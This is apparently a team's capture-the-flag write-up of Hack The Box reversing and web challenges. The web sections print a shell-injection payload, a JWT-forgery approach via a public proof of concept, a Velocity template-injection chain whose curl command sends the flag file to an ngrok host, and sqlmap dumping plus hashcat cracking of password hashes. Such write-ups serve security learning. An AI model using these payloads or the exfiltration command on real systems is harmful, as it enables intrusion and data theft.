solved by : avantika(@iamavu)

we are given a binary, called packed i.e this has been obfuscated/packed by the dev, which hinders our exploitation and reversing as it’s very hard to understand what’s going on

we use checksec command provided by pwntools to check which packer they have used `pwn checksec packed`

as we can observe it has been packed with UPX, quite the popular packer, now we just need to unpack it to see all the functions properly, so we can dissect it using the following command `upx -d -o unpacked packed` we would now have binary called unpacked in our current directory, which will be unpacked and not obfuscated fire up your ghidra, let’s have a look at the functions, the `entered` function has our flag in plaintext, so pretty much easy win `HTB{unp4ck3d_th3_s3cr3t_0f_th3_p455w0rd}` pwned!

## LootStash

Solved by : Starry-lord

Since I don’t really dive into reversing usually, I decided to try my luck with tools like ghidra for the occasion.

We can see the binary seems to output a random string, searched into a list then closes the program.

Immediately curious to see what was the list, I looked for it into ghidra and eventually cycling through the functions, you can find it.

Then curiosity made the rest possible, since i wanted to find some sort of pattern or something that would stand out:

After all of this, realised you could’ve actually just used strings:

``````HTB{n33dl3_1n_a_l00t_stack}
``````

## Boxcutter

Solved by : thewhiteh4t

• Very simple challenge, all we had to do is load the binary in GDB and go few instructions forward and we get the flag, free points.

# web

## Flag Command

Solved by: Legend

Challenge description:

``````Embark on the "Dimensional Escape Quest" where you wake up in a mysterious forest maze that's not quite of this world. Navigate singing squirrels, mischievous nymphs, and grumpy wizards in a whimsical labyrinth that may lead to otherworldly surprises. Will you conquer the enchanted maze or find yourself lost in a different dimension of magical challenges? The journey unfolds in this mystical escape!
``````

In this challenge the website is a game. After interacting with for a few minutes saw that it is running with `API` mostly. In burp I saw there was options which showed all the game command which can be used.

In that there was a `secret` command which seemed interesting. Just gave that command as input and got the flag.

## TimeKORP

Solved By : thewhiteh4t

• TimeModel.php is vulnerable
``````<?php
class TimeModel
{
public function __construct(\$format)
{
\$this->command = "date '+" . \$format . "' 2>&1";
}

public function getTime()
{
\$time = exec(\$this->command);
\$res  = isset(\$time) ? \$time : '?';
return \$res;
}
}
``````
• specifically :
``````\$this->command = "date '+" . \$format . "' 2>&1";
``````
• we just need to match single quotes and insert cat command in between so payload becomes :
``````';cat /flag;'
``````

## LockTalk

Solved by : thewhiteh4t & Starry-lord

This challenge came with files and a docker instance.

We can see the haproxy configuration is set to deny access to the /api/v1/get_ticket endpoint, and that the requirements for this webpage to work is an outdated python_jwt 3.3.3 library.

When we visit the webpage, we are greeted with 3 possible endpoints making everything pretty clear for our next step. but we can’t get a token when we try it because of haproxy. But when we send the request to BurpSuite’s repeater tab, and modify the path, we can actually get a ticket.

With our ticket we can now try the other 2 endpoints and read some exchanges between a fake ransomware group named `Openbit3.0` and some of their victims, as a reference to the recent Operation of the Cronos Taskforce related to the LockBit ransomware gang.

So it was time to look into that old python json web token library, and sure enough, there was an exploit to be found. This CVE from 2022 allows to send and claims we want by exploiting the way the json web token is parsed.

python-jwt is a module for generating and verifying JSON Web Tokens. Versions prior to 3.3.4 are subject to Authentication Bypass by Spoofing, resulting in identity spoofing, session hijacking or authentication bypass. An attacker who obtains a JWT can arbitrarily forge its contents without knowing the secret key. Depending on the application, this may for example enable the attacker to spoof other user’s identities, hijack their sessions, or bypass authentication. Users should upgrade to version 3.3.4. There are no known workarounds. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-39227

What a nice thing to read as a pentester, “there are no known workarounds”.

https://github.com/user0x1337/CVE-2022-39227

With the help of the given files we can determine that `administrator` is the required role to bypass all restrictions on the page.

With this knowledge in hand, we can now use the github proof of concept, as shown below.

With the valid token we retrieved, and the correct role name, we can now craft a payload and send it to the /api/v1/flag endpoint.

``````HTB{h4Pr0Xy_n3v3r_D1s@pp01n4s}
``````

## Labyrinth Linguist

Solved by : thewhiteh4t

• In this challenge we have a translation service
• Upon inspecting source files, we noticed few things :
• flag file is partially randomized in `entrypoint.sh`
``````mv /flag.txt /flag\$(cat /dev/urandom | tr -cd "a-f0-9" | head -c 10).txt
``````
• In `pom.xml` we can see the dependencies and their version information :
``````<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>1.5.10.RELEASE</version>
</parent>

<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity</artifactId>
<version>1.7</version>
</dependency>
<dependency>
<groupId>org.apache.velocity</groupId>
<artifactId>velocity</artifactId>
<version>1.7</version>
</dependency>
</dependencies>
``````
• Velocity v1.7 is vulnerable to SSTI attack
• References :
``````https://antgarsil.github.io/posts/velocity/
https://iwconnect.com/apache-velocity-server-side-template-injection/
``````
• Based on the PoC above we ran the test case
``````#set (\$run=1 + 1) \$run
``````

• RCE was blind because we had no output of the commands so we used `ngrok` for getting a callback to confirm if the payload was working
• Then we tried reverse shells but none of them worked for some reason so we thought to simplify we can make it download a file
• And since the command output was not visible we used web requests to exfiltrate the flag by setting custom user agent in curl command
``````> cat pwn

curl "https://f084-116-74-26-67.ngrok-free.app/special" -H "User-Agent: \$(cat /flag*)"
``````

• After sending the file we send a second request to run it using : `sh pwn`

• Web logs in ngrok dashboard :

## KORP Terminal

Solved by : Legend, thewhiteh4t

• Challenge presents us with a login page
• Testing SQL injection shows that it is vulnerable

• POST request from burpsuite :
``````    POST / HTTP/1.1
Host: 94.237.58.148:47562
Content-Length: 66
Cache-Control: max-age=0
Origin: http://94.237.58.148:47562
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://94.237.58.148:47562
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

``````> sqlmap -r post.txt --ignore-code 401
``````> sqlmap -r \$PWD/post.txt --ignore-code 401 -T users -dump
``````> hashcat -a 0 -m 3200 hash.txt /usr/share/wordlists/rockyou.txt